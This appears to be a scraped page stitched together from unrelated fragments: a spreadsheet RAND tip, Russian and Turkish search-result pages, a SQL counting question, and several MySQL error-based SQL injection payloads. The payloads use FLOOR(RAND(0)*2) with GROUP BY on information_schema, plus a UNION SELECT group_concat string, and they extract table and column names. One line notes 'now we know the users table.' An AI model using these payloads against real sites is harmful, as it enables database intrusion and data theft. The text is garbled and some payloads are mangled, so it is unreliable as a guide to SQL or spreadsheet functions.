Use the RAND & RANDBETWEEN Functions.
Для вашего поискового запроса SELECT 8258 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 8258 8258 1 0x7170707871 FLOOR RAND 0 2 X FROM INFORMATION SCHEMA PLUGINS GROUP
...CONCAT(0x717a6a7871,(SELECT (ELT(4670=4670,1))),0x716a6b7871,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS
Для вашего поискового запроса JnCE AND SELECT 1444 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 1444 1444 1 0x7170707871 FLOOR RAND 0 2 X FROM INFORMATION SCHEMA PLUGINS
...(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
Şair Fdsfa Fdsa Fsdf isimli şaire ait 9785073 or (select 1 from (select count(*),concat((0x574352575653),0x5E,floor(rand(0)*2)) x from information_schema.tables group by x)a) adlı şiiri okumak için bu sayfayı ziyaret edebilirsiniz.
A have a column named key - 1,1,2,2,2,2,3 Now i do it with 3 querys: … How to count in one query how many 1,2,3?
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%. now we know the users table...